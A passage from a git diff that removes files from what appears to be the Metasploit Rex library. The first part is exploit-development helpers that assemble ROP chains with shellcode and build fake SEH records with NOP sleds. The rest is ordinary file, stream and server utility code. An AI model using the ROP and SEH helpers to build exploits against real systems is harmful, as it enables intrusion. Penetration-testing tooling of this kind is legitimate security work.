e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0] - base = default.to_i(16) - end - - gadgets << parse_gadgets(e, base) - } - return gadgets.flatten - end - - - # - # Returns a payload with the user-supplied stack-pivot, a ROP chain, - # and then shellcode. - # Arguments: - # rop - Name of the ROP chain - # payload - Payload in binary - # opts - A hash of optional arguments: - # 'nop' - Used to generate nops with generate_sled() - # 'badchars' - Used in a junk gadget - # 'pivot' - Stack pivot in binary - # 'target' - A regex string search against the compatibility list. - # 'base' - Specify a different base for the ROP gadgets. - # - def generate_rop_payload(rop, payload, opts={}) - nop = opts['nop'] || nil - badchars = opts['badchars'] || '' - pivot = opts['pivot'] || '' - target = opts['target'] || '' - base = opts['base'] || nil - - rop = select_rop(rop, {'target'=>target, 'base'=>base}) - # Replace the reserved words with actual gadgets - rop = rop.map {|e| - if e == :nop - sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090 - elsif e == :junk - Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i - elsif e == :size - payload.length - elsif e == :unsafe_negate_size - get_unsafe_size(payload.length) - elsif e == :safe_negate_size - get_safe_size(payload.length) - else - e - end - }.pack("V*") - - raise RuntimeError, "No ROP chain generated successfully" if rop.empty? - - return pivot + rop + payload - end - - private - - - # - # Returns a size that's safe from null bytes. - # This function will keep incrementing the value of "s" until it's safe from null bytes. - # - def get_safe_size(s) - safe_size = get_unsafe_size(s) - while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00") - safe_size -= 1 - end - - safe_size - end - - - # - # Returns a size that might contain one or more null bytes - # - def get_unsafe_size(s) - 0xffffffff - s + 1 - end - - - # - # Checks if a ROP chain is compatible - # - def has_target?(rop, target) - rop.elements.each('compatibility/target') { |t| - return true if t.text =~ /#{target}/i - } - return false - end - - # - # Returns the database in XML - # - def load_rop(file_path) - f = File.open(file_path, 'rb') - xml = REXML::Document.new(f.read(f.stat.size)) - f.close - return xml - end - - - # - # Returns gadgets - # - def parse_gadgets(e, image_base) - gadgets = [] - e.elements.each('gadgets/gadget') { |g| - offset = g.attributes['offset'] - value = g.attributes['value'] - - if offset - addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0] - gadgets << (image_base + addr.to_i(16)) - elsif value - case value - when 'nop' - gadgets << :nop - when 'junk' - gadgets << :junk - when 'size' - gadgets << :size - when 'unsafe_negate_size' - gadgets << :unsafe_negate_size - when 'safe_negate_size' - gadgets << :safe_negate_size - else - gadgets << value.to_i(16) - end - else - raise RuntimeError, "Missing offset or value attribute in '#{name}'" - end - } - return gadgets - end -end - -end -end \ No newline at end of file diff --git a/lib/rex/exploitation/seh.rb b/lib/rex/exploitation/seh.rb deleted file mode 100644 index 394937f993..0000000000 --- a/lib/rex/exploitation/seh.rb +++ /dev/null @@ -1,93 +0,0 @@ -# -*- coding: binary -*- -require 'rex/text' -require 'rex/arch/x86' - -module Rex -module Exploitation - -### -# -# This class provides methods for generating SEH registration records -# in a dynamic and flexible fashion. The records can be generated with -# the short jump at a random offset into the next pointer and with random -# padding in between the handler and the attacker's payload. -# -### -class Seh - - # - # Creates a new instance of the class and initializes it with the supplied - # bad character list. The space argument denotes how much room is - # available for random padding and the NOP argument can be used to generate - # a random NOP sled that is better than 0x90. - # - def initialize(badchars = nil, space = nil, nop = nil) - self.badchars = badchars || '' - self.space = (space && space > 121) ? 121 : space - self.nop = nop - end - - # - # Generates an SEH record - # - def generate_seh_record(handler, dynamic=false) - if (dynamic) - generate_dynamic_seh_record(handler) - else - generate_static_seh_record(handler) - end - end - - # - # Generates a fake SEH registration record with the supplied handler - # address for the handler, and a nop generator to use when generating - # padding inside the next pointer. The NOP generator must implement the - # 'generate_sled' method that takes a length and a list of bad - # characters. - # - def generate_dynamic_seh_record(handler) - - # Generate the padding up to the size specified or 121 characters - # maximum to account for the maximum range of a short jump plus the - # record size. - pad = rand(space || 121) - rsize = pad + 8 - - # Calculate the random index into the next ptr to store the short jump - # instruction - jmpidx = rand(3) - - # Build the prefixed sled for the bytes that come before the short jump - # instruction - sled = (nop) ? nop.generate_sled(jmpidx, badchars) : ("\x90" * jmpidx) - - # Seed the record and any space after the record with random text - record = Rex::Text.rand_text(rsize, badchars) - - # Build the next pointer and short jump instruction - record[jmpidx, 2] = Rex::Arch::X86.jmp_short((rsize - jmpidx) - 2) - record[0, jmpidx] = sled - - # Set the handler in the registration record - record[4, 4] = [ handler ].pack('V') - - # Return the generated record to the caller - record - end - - # - # Generates a static SEH registration record with a specific handler and - # next pointer. - # - def generate_static_seh_record(handler) - "\xeb\x06" + Rex::Text.rand_text(2, badchars) + [ handler ].pack('V') - end - -protected - - attr_accessor :badchars, :space, :nop # :nodoc: - -end - -end -end diff --git a/lib/rex/file.rb b/lib/rex/file.rb deleted file mode 100644 index 75c6569578..0000000000 --- a/lib/rex/file.rb +++ /dev/null @@ -1,160 +0,0 @@ -# -*- coding: binary -*- -require 'find' -require 'rex/compat' -require 'tempfile' - -module Rex - -### -# -# This class provides helper methods for dealing with files that are not -# supplied by the standard ruby API. -# -### -module FileUtils - - # - # This method joins the paths together in Unix format. - # - def self.normalize_unix_path(*strs) - new_str = strs * '/' - new_str = new_str.gsub!("//", "/") while new_str.index("//") - - new_str - end - - # - # This method joins the paths together in Windows format. - # All reserved characters will be filtered out, including: - # " * : < > ? \ / | - # - def self.normalize_win_path(*strs) - # Convert to the same format so the parsing is easier - s = strs * '\\' - - # Filter out double slashes - s = s.gsub(/\\\\/, '\\') while s.index('\\\\') - - # Keep the trailing slash if exists - trailing_s = ('\\' if s =~ /\\$/) || '' - - # Check the items (fie/dir) individually - s = s.split(/\\/) - - # Parse the path prefix - prefix = (s[0] || '').gsub(/[\*<>\?\/]/, '') - - # Delete the original prefix. We want the new one later. - s.delete_at(0) - - # Filter out all the reserved characters - s.map! {|e| e.gsub(/["\*:<>\?\\\/|]/, '') } - - # Put the modified prefix back - s.insert(0, prefix) - - # And then safely join the items - s *= '\\' - - # Add the trailing slash back if exists - s << trailing_s - end - - # - # This method cleans the supplied path of directory traversal sequences - # It must accept path/with/..a/folder../starting/or/ending/in/two/dots - # but clean ../something as well as path/with/..\traversal - # - def self.clean_path(old) - path = old - while(path.index(/\/..\/|\/..\\|\\..\\|\\..\/|\A..\\|\A..\//) != nil) - path.gsub!(/\A..\\|\A..\//,'') #eliminate starting ..\ or ../ - path.gsub!(/\/..\/|\/..\\/,'/') #clean linux style - path.gsub!(/\\..\\|\\..\//,'\\') #clean windows style - end - path - end - - # - # This method searches the PATH environment variable for - # a fully qualified path to the supplied file name. - # - def self.find_full_path(file_name) - - # Check for the absolute fast first - if (file_name[0,1] == "/" and ::File.exists?(file_name) and ::File::Stat.new(file_name)) - return file_name - end - - path = Rex::Compat.getenv('PATH') - if (path) - path.split(::File::PATH_SEPARATOR).each { |base| - begin - # Deal with Windows paths surrounded by quotes. Prevents - # silliness like trying to look for - # '"C:\\framework\\nmap"\\nmap.exe' which will always fail. - base = $1 if base =~ /^"(.*)"$/ - path = base + ::File::SEPARATOR + file_name - if (::File::Stat.new(path) and not ::File.directory?(path)) - return path - end - rescue - end - } - end - return nil - end - -end - -class Quickfile < ::Tempfile - def initialize(*args) - super(*args) - self.binmode - ObjectSpace.undefine_finalizer(self) - end -end - -module Find - # - # Identical to Find.find from Ruby, but follows symlinks to directories. - # See http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/68671 - # - def self.find(*paths) - paths.collect!{|d| d.dup} - while file = paths.shift - catch(:prune) do - yield file.dup.taint - next unless File.exist? file - begin - if File.stat(file).directory? then - d = Dir.open(file) - begin - for f in d - next if f == "." or f == ".." - if File::ALT_SEPARATOR and file =~ /^(?:[\/\\]|[A-Za-z]:[\/\\]?)$/ then - f = file + f - elsif file == "/" then - f = "/" + f - else - f = File.join(file, f) - end - paths.unshift f.untaint - end - ensure - d.close - end - end - rescue Errno::ENOENT, Errno::EACCES - end - end - end - end - - def self.prune - throw :prune - end - -end - -end diff --git a/lib/rex/image_source.rb b/lib/rex/image_source.rb deleted file mode 100644 index e35a6876e4..0000000000 --- a/lib/rex/image_source.rb +++ /dev/null @@ -1,10 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module ImageSource - -end -end - -require 'rex/image_source/disk' -require 'rex/image_source/memory' diff --git a/lib/rex/image_source/disk.rb b/lib/rex/image_source/disk.rb deleted file mode 100644 index 1b652aab25..0000000000 --- a/lib/rex/image_source/disk.rb +++ /dev/null @@ -1,58 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/image_source/image_source' -require 'rex/struct2' - -module Rex -module ImageSource -class Disk < ImageSource - - attr_accessor :file, :file_offset, :size - - WINDOW_SIZE = 4096 - WINDOW_OVERLAP = 64 - - def initialize(_file, _offset = 0, _len = nil) - _len = _file.stat.size if !_len - - self.file = _file - self.file_offset = _offset - self.size = _len - end - - def read(offset, len) - if offset < 0 || offset+len > size - raise RangeError, "Offset #{offset} outside of image source", caller - end - - file.seek(file_offset + offset) - file.read(len) - end - - def index(search, offset = 0) - # do a sliding window search across the disk - while offset < size - - # get a full window size if we can, we - # don't want to read past our boundaries - wsize = size - offset - wsize = WINDOW_SIZE if wsize > WINDOW_SIZE - - window = self.read(offset, wsize) - res = window.index(search) - return res + offset if res - offset += WINDOW_SIZE - WINDOW_OVERLAP - end - end - - def subsource(offset, len) - self.class.new(file, file_offset+offset, len) - end - - def close - file.close - end -end - -end -end diff --git a/lib/rex/image_source/image_source.rb b/lib/rex/image_source/image_source.rb deleted file mode 100644 index 33c7e49138..0000000000 --- a/lib/rex/image_source/image_source.rb +++ /dev/null @@ -1,48 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module ImageSource -class ImageSource - - # - # Um, just some abstract class stuff I guess, this is the interface - # that any image sources should subscribe to... - # - - def subsource(offset, len) - raise "do something" - end - - def size - raise "do something" - end - - def file_offset - raise "do something" - end - - def close - raise "do something" - end - - def read_asciiz(offset) - # FIXME, make me better - string = '' - loop do - begin - char = read(offset, 1) - rescue RangeError - break - end - break if char.nil? || char == "\x00" - offset += 1 - string << char - end - return string - end - - -end - -end -end diff --git a/lib/rex/image_source/memory.rb b/lib/rex/image_source/memory.rb deleted file mode 100644 index 5ba62f777e..0000000000 --- a/lib/rex/image_source/memory.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/image_source/image_source' -require 'rex/struct2' - -module Rex -module ImageSource -class Memory < ImageSource - - attr_accessor :rawdata, :size, :file_offset - - def initialize(_rawdata, _file_offset = 0) - self.rawdata = _rawdata - self.size = _rawdata.length - self.file_offset = _file_offset - end - - def read(offset, len) - rawdata[offset, len] - end - - def subsource(offset, len) - self.class.new(rawdata[offset, len], offset + file_offset) - end - - def close - end - - def index(*args) - rawdata.index(*args) - end -end - -end -end diff --git a/lib/rex/io/datagram_abstraction.rb b/lib/rex/io/datagram_abstraction.rb deleted file mode 100644 index e1b17a1d6c..0000000000 --- a/lib/rex/io/datagram_abstraction.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- - -require 'socket' - -module Rex -module IO - -### -# -# This class provides an abstraction to a datagram based -# connection through the use of a datagram socketpair. -# -### -module DatagramAbstraction - - # - # Creates a streaming socket pair - # - def initialize_abstraction - self.lsock, self.rsock = Rex::Socket.udp_socket_pair() - end - - - # The left side of the stream (local) - attr_reader :lsock - # The right side of the stream (remote) - attr_reader :rsock - -protected - attr_writer :lsock - attr_writer :rsock - -end - -end; end diff --git a/lib/rex/io/ring_buffer.rb b/lib/rex/io/ring_buffer.rb deleted file mode 100644 index 84f95c7c33..0000000000 --- a/lib/rex/io/ring_buffer.rb +++ /dev/null @@ -1,369 +0,0 @@ -# -*- coding: binary -*- -# -# This class implements a ring buffer with "cursors" in the form of sequence numbers. -# To use this class, pass in a file descriptor and a ring size, the class will read -# data from the file descriptor and store it in the ring. If the ring becomes full, -# the oldest item will be overwritten. To emulate a stream interface, call read_data -# to grab the last sequence number and any buffered data, call read_data again, -# passing in the sequence number and all data newer than that sequence will be -# returned, along with a new sequence to read from. -# - -require 'rex/socket' - -module Rex -module IO - -class RingBuffer - - attr_accessor :queue # The data queue, essentially an array of two-element arrays, containing a sequence and data buffer - attr_accessor :seq # The next available sequence number - attr_accessor :fd # The associated socket or IO object for this ring buffer - attr_accessor :size # The number of available slots in the queue - attr_accessor :mutex # The mutex locking access to the queue - attr_accessor :beg # The index of the earliest data fragment in the ring - attr_accessor :cur # The sequence number of the earliest data fragment in the ring - attr_accessor :monitor # The thread handle of the built-in monitor when used - attr_accessor :monitor_thread_error # :nodoc: # - - # - # Create a new ring buffer - # - def initialize(socket, opts={}) - self.size = opts[:size] || (1024 * 4) - self.fd = socket - self.seq = 0 - self.beg = 0 - self.cur = 0 - self.queue = Array.new( self.size ) - self.mutex = Mutex.new - end - - def inspect - "#" - end - - # - # Start the built-in monitor, not called when used in a larger framework - # - def start_monitor - self.monitor = monitor_thread if not self.monitor - end - - # - # Stop the built-in monitor - # - def stop_monitor - self.monitor.kill if self.monitor - self.monitor = nil - end - - # - # The built-in monitor thread (normally unused with Metasploit) - # - def monitor_thread - Thread.new do - begin - while self.fd - buff = self.fd.get_once(-1, 1.0) - next if not buff - store_data(buff) - end - rescue ::Exception => e - self.monitor_thread_error = e - end - end - end - - # - # Push data back into the associated stream socket. Logging must occur - # elsewhere, this function is simply a passthrough. - # - def put(data, opts={}) - self.fd.put(data, opts={}) - end - - # - # The clear_data method wipes the ring buffer - # - def clear_data - self.mutex.synchronize do - self.seq = 0 - self.beg = 0 - self.cur = 0 - self.queue = Array.new( self.size ) - end - end - - # - # The store_data method is used to insert data into the ring buffer. - # - def store_data(data) - self.mutex.synchronize do - # self.cur points to the array index of queue containing the last item - # adding data will result in cur + 1 being used to store said data - # if cur is larger than size - 1, it will wrap back around. If cur - # is *smaller* beg, beg is increemnted to cur + 1 (and wrapped if - # necessary - - loc = 0 - if self.seq > 0 - loc = ( self.cur + 1 ) % self.size - - if loc <= self.beg - self.beg = (self.beg + 1) % self.size - end - end - - self.queue[loc] = [self.seq += 1, data] - self.cur = loc - end - end - - # - # The read_data method returns a two element array with the new reader cursor (a sequence number) - # and the returned data buffer (if any). A result of nil/nil indicates that no data is available - # - def read_data(ptr=nil) - self.mutex.synchronize do - - # Verify that there is data in the queue - return [nil,nil] if not self.queue[self.beg] - - # Configure the beginning read pointer (sequence number, not index) - ptr ||= self.queue[self.beg][0] - return [nil,nil] if not ptr - - # If the pointer is below our baseline, we lost some data, so jump forward - if ptr < self.queue[self.beg][0] - ptr = self.queue[self.beg][0] - end - - # Calculate how many blocks exist between the current sequence number - # and the requested pointer, this becomes the number of blocks we will - # need to read to satisfy the result. Due to the mutex block, we do - # not need to scan to find the sequence of the starting block or - # check the sequence of the ending block. - dis = self.seq - ptr - - # If the requested sequnce number is less than our base pointer, it means - # that no new data is available and we should return empty. - return [nil,nil] if dis < 0 - - # Calculate the beginning block index and number of blocks to read - off = ptr - self.queue[self.beg][0] - set = (self.beg + off) % self.size - - - # Build the buffer by reading forward by the number of blocks needed - # and return the last read sequence number, plus one, as the new read - # pointer. - buff = "" - cnt = 0 - lst = ptr - ptr.upto(self.seq) do |i| - block = self.queue[ (set + cnt) % self.size ] - lst,data = block[0],block[1] - buff += data - cnt += 1 - end - - return [lst + 1, buff] - - end - end - - # - # The base_sequence method returns the earliest sequence number in the queue. This is zero until - # all slots are filled and the ring rotates. - # - def base_sequence - self.mutex.synchronize do - return 0 if not self.queue[self.beg] - return self.queue[self.beg][0] - end - end - - # - # The last_sequence method returns the "next" sequence number where new data will be - # available. - # - def last_sequence - self.seq - end - - # - # The create_steam method assigns a IO::Socket compatible object to the ringer buffer - # - def create_stream - Stream.new(self) - end - - # - # The select method returns when there is a chance of new data - # XXX: This is mostly useless and requires a rewrite to use a - # real select or notify mechanism - # - def select - ::IO.select([ self.fd ], nil, [ self.fd ], 0.10) - end - - # - # The wait method blocks until new data is available - # - def wait(seq) - nseq = nil - while not nseq - nseq,data = read_data(seq) - select - end - end - - # - # The wait_for method blocks until new data is available or the timeout is reached - # - def wait_for(seq,timeout=1) - begin - ::Timeout.timeout(timeout) do - wait(seq) - end - rescue ::Timeout::Error - end - end - - # - # This class provides a backwards compatible "stream" socket that uses - # the parents ring buffer. - # - class Stream - attr_accessor :ring - attr_accessor :seq - attr_accessor :buff - - def initialize(ring) - self.ring = ring - self.seq = ring.base_sequence - self.buff = '' - end - - def read(len=nil) - if len and self.buff.length >= len - data = self.buff.slice!(0,len) - return data - end - - while true - lseq, data = self.ring.read_data( self.seq ) - return if not lseq - - self.seq = lseq - self.buff << data - if len - if self.buff.length >= len - return self.buff.slice!(0,len) - else - IO.select(nil, nil, nil, 0.25) - next - end - end - - data = self.buff - self.buff = '' - - return data - - # Not reached - break - end - - end - - def write(data) - self.ring.write(data) - end - end - -end - -end -end - -=begin - -server = Rex::Socket.create_tcp_server('LocalPort' => 0) -lport = server.getsockname[2] -client = Rex::Socket.create_tcp('PeerHost' => '127.0.0.1', 'PeerPort' => lport) -conn = server.accept - -r = Rex::IO::RingBuffer.new(conn, {:size => 1024*1024}) -client.put("1") -client.put("2") -client.put("3") - -s,d = r.read_data - -client.put("4") -client.put("5") -client.put("6") -s,d = r.read_data(s) - -client.put("7") -client.put("8") -client.put("9") -s,d = r.read_data(s) - -client.put("0") -s,d = r.read_data(s) - -test_counter = 11 -1.upto(100) do - client.put( "X" ) - test_counter += 1 -end - -sleep(1) - -s,d = r.read_data -p s -p d - -fdata = '' -File.open("/bin/ls", "rb") do |fd| - fdata = fd.read(fd.stat.size) - fdata = fdata * 10 - client.put(fdata) -end - -sleep(1) - -s,vdata = r.read_data(s) - -if vdata != fdata - puts "DATA FAILED" -else - puts "DATA VERIFIED" -end - -r.clear_data - -a = r.create_stream -b = r.create_stream - -client.put("ABC123") -sleep(1) - -p a.read -p b.read - -client.put("$$$$$$") -sleep(1) - -p a.read -p b.read - -c = r.create_stream -p c.read - -=end - - diff --git a/lib/rex/io/stream.rb b/lib/rex/io/stream.rb deleted file mode 100644 index f64a7999d1..0000000000 --- a/lib/rex/io/stream.rb +++ /dev/null @@ -1,312 +0,0 @@ -# -*- coding: binary -*- -require 'rex/sync/thread_safe' - -module Rex -module IO - -### -# -# This mixin is an abstract representation of a streaming connection. Streams -# extend classes that must implement the following methods: -# -# syswrite(buffer) -# sysread(length) -# shutdown(how) -# close -# peerinfo -# localinfo -# -### -module Stream - - ## - # - # Abstract methods - # - ## - - # - # This method writes the supplied buffer to the stream. This method - # intelligent reduces the size of supplied buffers so that ruby doesn't get - # into a potential global thread blocking state when used on blocking - # sockets. That is, this method will send the supplied buffer in chunks - # of, at most, 32768 bytes. - # - def write(buf, opts = {}) - total_sent = 0 - total_length = buf.length - block_size = 32768 - - begin - while( total_sent < total_length ) - s = Rex::ThreadSafe.select( nil, [ fd ], nil, 0.2 ) - if( s == nil || s[0] == nil ) - next - end - data = buf[total_sent, block_size] - sent = fd.write_nonblock( data ) - if sent > 0 - total_sent += sent - end - end - rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK - # Sleep for a half a second, or until we can write again - Rex::ThreadSafe.select( nil, [ fd ], nil, 0.5 ) - # Decrement the block size to handle full sendQs better - block_size = 1024 - # Try to write the data again - retry - rescue ::IOError, ::Errno::EPIPE - return nil - end - - total_sent - end - - # - # This method reads data of the supplied length from the stream. - # - def read(length = nil, opts = {}) - - begin - return fd.read_nonblock( length ) - rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK - # Sleep for a half a second, or until we can read again - Rex::ThreadSafe.select( [ fd ], nil, nil, 0.5 ) - # Decrement the block size to handle full sendQs better - retry - rescue ::IOError, ::Errno::EPIPE - return nil - end - end - - # - # Polls the stream to see if there is any read data available. Returns - # true if data is available for reading, otherwise false is returned. - # - def has_read_data?(timeout = nil) - - # Allow a timeout of "0" that waits almost indefinitely for input, this - # mimics the behavior of Rex::ThreadSafe.select() and fixes some corner - # cases of unintentional no-wait timeouts. - timeout = 3600 if (timeout and timeout == 0) - - begin - if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and - (rv[0]) and - (rv[0][0] == fd)) - true - else - false - end - rescue ::Errno::EBADF, ::Errno::ENOTSOCK - raise ::EOFError - rescue StreamClosedError, ::IOError, ::EOFError, ::Errno::EPIPE - # Return false if the socket is dead - return false - end - end - - # - # This method returns the selectable file descriptor, or self by default. - # - def fd - self - end - - ## - # - # Common methods - # - ## - - # - # This method writes the supplied buffer to the stream by calling the write - # routine. - # - def <<(buf) - return write(buf.to_s) - end - - # - # This method calls get_once() to read pending data from the socket - # - def >> - get_once - end - - # - # This method writes to the stream, optionally timing out after a period of - # time. - # - def timed_write(buf, wait = def_write_timeout, opts = {}) - if (wait and wait > 0) - Timeout.timeout(wait) { - return write(buf, opts) - } - else - return write(buf, opts) - end - end - - # - # This method reads from the stream, optionally timing out after a period - # of time. - # - def timed_read(length = nil, wait = def_read_timeout, opts = {}) - if (wait and wait > 0) - Timeout.timeout(wait) { - return read(length, opts) - } - else - return read(length, opts) - end - end - - # - # This method writes the full contents of the supplied buffer, optionally - # with a timeout. - # - def put(buf, opts = {}) - return 0 if (buf == nil or buf.length == 0) - - send_len = buf.length - send_idx = 0 - wait = opts['Timeout'] || 0 - - # Keep writing until our send length drops to zero - while (send_idx < send_len) - curr_len = timed_write(buf[send_idx, buf.length-send_idx], wait, opts) - - # If the write operation failed due to an IOError, then we fail. - return buf.length - send_len if (curr_len == nil) - - send_len -= curr_len - send_idx += curr_len - end - - return buf.length - send_len - end - - - # - # This method emulates the behavior of Pex::Socket::Recv in MSF2 - # - def get_once(length = -1, timeout = def_read_timeout) - - if (has_read_data?(timeout) == false) - return nil - end - - bsize = (length == -1) ? def_block_size : length - data = read(bsize) - raise EOFError if data.nil? - data - end - - # - # This method reads as much data as it can from the wire given a maximum - # timeout. - # - def get(timeout = nil, ltimeout = def_read_loop_timeout, opts = {}) - # For those people who are used to being able to use a negative timeout! - if (timeout and timeout.to_i < 0) - timeout = nil - end - - # No data in the first place? bust. - if (has_read_data?(timeout) == false) - return nil - end - - buf = "" - lps = 0 - eof = false - - # Keep looping until there is no more data to be gotten.. - while (has_read_data?(ltimeout) == true) - # Catch EOF errors so that we can handle them properly. - begin - temp = read(def_block_size) - rescue EOFError - eof = true - end - - # If we read zero bytes and we had data, then we've hit EOF - if (temp and temp.length == 0) - eof = true - end - - # If we reached EOF and there are no bytes in the buffer we've been - # reading into, then throw an EOF error. - if (eof) - # If we've already read at least some data, then it's time to - # break out and let it be processed before throwing an EOFError. - if (buf.length > 0) - break - else - raise EOFError - end - end - - break if (temp == nil or temp.empty? == true) - - buf += temp - lps += 1 - - break if (lps >= def_max_loops) - end - - # Return the entire buffer we read in - return buf - end - - ## - # - # Defaults - # - ## - - # - # The default number of seconds to wait for a write operation to timeout. - # - def def_write_timeout - 10 - end - - # - # The default number of seconds to wait for a read operation to timeout. - # - def def_read_timeout - 10 - end - - # - # The default number of seconds to wait while in a read loop after read - # data has been found. - # - def def_read_loop_timeout - 0.1 - end - - # - # The maximum number of read loops to perform before returning to the - # caller. - # - def def_max_loops - 1024 - end - - # - # The default block size to read in chunks from the wire. - # - def def_block_size - 16384 - end - -protected - -end - -end end - diff --git a/lib/rex/io/stream_abstraction.rb b/lib/rex/io/stream_abstraction.rb deleted file mode 100644 index c2bfb5d4a2..0000000000 --- a/lib/rex/io/stream_abstraction.rb +++ /dev/null @@ -1,209 +0,0 @@ -# -*- coding: binary -*- - -require 'socket' -require 'fcntl' - -module Rex -module IO - -### -# -# This class provides an abstraction to a stream based -# connection through the use of a streaming socketpair. -# -### -module StreamAbstraction - - ### - # - # Extension information for required Stream interface. - # - ### - module Ext - - # - # Initializes peer information. - # - def initinfo(peer,local) - @peer = peer - @local = local - end - - # - # Symbolic peer information. - # - def peerinfo - (@peer || "Remote Pipe") - end - - # - # Symbolic local information. - # - def localinfo - (@local || "Local Pipe") - end - end - - # - # This method creates a streaming socket pair and initializes it. - # - def initialize_abstraction - self.lsock, self.rsock = Rex::Socket.tcp_socket_pair() - self.lsock.extend(Rex::IO::Stream) - self.lsock.extend(Ext) - self.rsock.extend(Rex::IO::Stream) - - self.monitor_rsock - end - - # - # This method cleans up the abstraction layer. - # - def cleanup_abstraction - self.lsock.close if (self.lsock) - self.rsock.close if (self.rsock) - - self.lsock = nil - self.rsock = nil - end - - # - # Low-level write to the local side. - # - def syswrite(buffer) - lsock.syswrite(buffer) - end - - # - # Low-level read from the local side. - # - def sysread(length) - lsock.sysread(length) - end - - # - # Shuts down the local side of the stream abstraction. - # - def shutdown(how) - lsock.shutdown(how) - end - - # - # Closes both sides of the stream abstraction. - # - def close - cleanup_abstraction - end - - # - # Symbolic peer information. - # - def peerinfo - "Remote-side of Pipe" - end - - # - # Symbolic local information. - # - def localinfo - "Local-side of Pipe" - end - - # - # The left side of the stream. - # - attr_reader :lsock - # - # The right side of the stream. - # - attr_reader :rsock - -protected - - def monitor_rsock - self.monitor_thread = Rex::ThreadFactory.spawn("StreamMonitorRemote", false) { - loop do - closed = false - buf = nil - - if not self.rsock - wlog("monitor_rsock: the remote socket is nil, exiting loop") - break - end - - begin - s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 ) - if( s == nil || s[0] == nil ) - next - end - rescue Exception => e - wlog("monitor_rsock: exception during select: #{e.class} #{e}") - closed = true - end - - if( closed == false ) - begin - buf = self.rsock.sysread( 32768 ) - if buf == nil - closed = true - wlog("monitor_rsock: closed remote socket due to nil read") - end - rescue EOFError => e - closed = true - dlog("monitor_rsock: EOF in rsock") - rescue ::Exception => e - closed = true - wlog("monitor_rsock: exception during read: #{e.class} #{e}") - end - end - - if( closed == false ) - total_sent = 0 - total_length = buf.length - while( total_sent < total_length ) - begin - data = buf[total_sent, buf.length] - - # Note that this must be write() NOT syswrite() or put() or anything like it. - # Using syswrite() breaks SSL streams. - sent = self.write( data ) - - # sf: Only remove the data off the queue is write was successfull. - # This way we naturally perform a resend if a failure occured. - # Catches an edge case with meterpreter TCP channels where remote send - # failes gracefully and a resend is required. - if (sent.nil?) - closed = true - wlog("monitor_rsock: failed writing, socket must be dead") - break - elsif (sent > 0) - total_sent += sent - end - rescue ::IOError, ::EOFError => e - closed = true - wlog("monitor_rsock: exception during write: #{e.class} #{e}") - break - end - end - end - - if( closed ) - begin - self.close_write if self.respond_to?('close_write') - rescue IOError - end - break - end - end - } - end - -protected - attr_accessor :monitor_thread - attr_writer :lsock - attr_writer :rsock - -end - -end; end - diff --git a/lib/rex/io/stream_server.rb b/lib/rex/io/stream_server.rb deleted file mode 100644 index 188fb63131..0000000000 --- a/lib/rex/io/stream_server.rb +++ /dev/null @@ -1,221 +0,0 @@ -# -*- coding: binary -*- -require 'thread' - -module Rex -module IO - -### -# -# This mixin provides the framework and interface for implementing a streaming -# server that can listen for and accept stream client connections. Stream -# servers extend this class and are required to implement the following -# methods: -# -# accept -# fd -# -### -module StreamServer - - ## - # - # Abstract methods - # - ## - - ## - # - # Default server monitoring and client management implementation follows - # below. - # - ## - - # - # This callback is notified when a client connects. - # - def on_client_connect(client) - if (on_client_connect_proc) - on_client_connect_proc.call(client) - end - end - - # - # This callback is notified when a client connection has data that needs to - # be processed. - # - def on_client_data(client) - if (on_client_data_proc) - on_client_data_proc.call(client) - end - end - - # - # This callback is notified when a client connection has closed. - # - def on_client_close(client) - if (on_client_close_proc) - on_client_close_proc.call(client) - end - end - - # - # Start monitoring the listener socket for connections and keep track of - # all client connections. - # - def start - self.clients = [] - self.client_waiter = ::Queue.new - - self.listener_thread = Rex::ThreadFactory.spawn("StreamServerListener", false) { - monitor_listener - } - self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) { - monitor_clients - } - end - - # - # Terminates the listener monitoring threads and closes all active clients. - # - def stop - self.listener_thread.kill - self.clients_thread.kill - - self.clients.each { |cli| - close_client(cli) - } - end - - # - # This method closes a client connection and cleans up the resources - # associated with it. - # - def close_client(client) - if (client) - clients.delete(client) - - begin - client.close - rescue IOError - end - end - end - - # - # This method waits on the server listener thread - # - def wait - self.listener_thread.join if self.listener_thread - end - - ## - # - # Callback procedures. - # - ## - - # - # This callback procedure can be set and will be called when new clients - # connect. - # - attr_accessor :on_client_connect_proc - # - # This callback procedure can be set and will be called when clients - # have data to be processed. - # - attr_accessor :on_client_data_proc - # - # This callback procedure can be set and will be called when a client - # disconnects from the server. - # - attr_accessor :on_client_close_proc - - attr_accessor :clients # :nodoc: - attr_accessor :listener_thread, :clients_thread # :nodoc: - attr_accessor :client_waiter - -protected - - # - # This method monitors the listener socket for new connections and calls - # the +on_client_connect+ callback routine. - # - def monitor_listener - - while true - begin - cli = accept - if not cli - elog("The accept() returned nil in stream server listener monitor: #{fd.inspect}") - ::IO.select(nil, nil, nil, 0.10) - next - end - - # Append to the list of clients - self.clients << cli - - # Initialize the connection processing - on_client_connect(cli) - - # Notify the client monitor - self.client_waiter.push(cli) - - # Skip exceptions caused by accept() [ SSL ] - rescue ::EOFError, ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED - rescue ::Interrupt - raise $! - rescue ::Exception - elog("Error in stream server server monitor: #{$!}") - rlog(ExceptionCallStack) - break - end - end - end - - # - # This method monitors client connections for data and calls the - # +on_client_data+ routine when new data arrives. - # - def monitor_clients - begin - - # Wait for a notify if our client list is empty - if (clients.length == 0) - self.client_waiter.pop - next - end - - sd = Rex::ThreadSafe.select(clients, nil, nil, nil) - - sd[0].each { |cfd| - begin - on_client_data(cfd) - rescue ::EOFError, 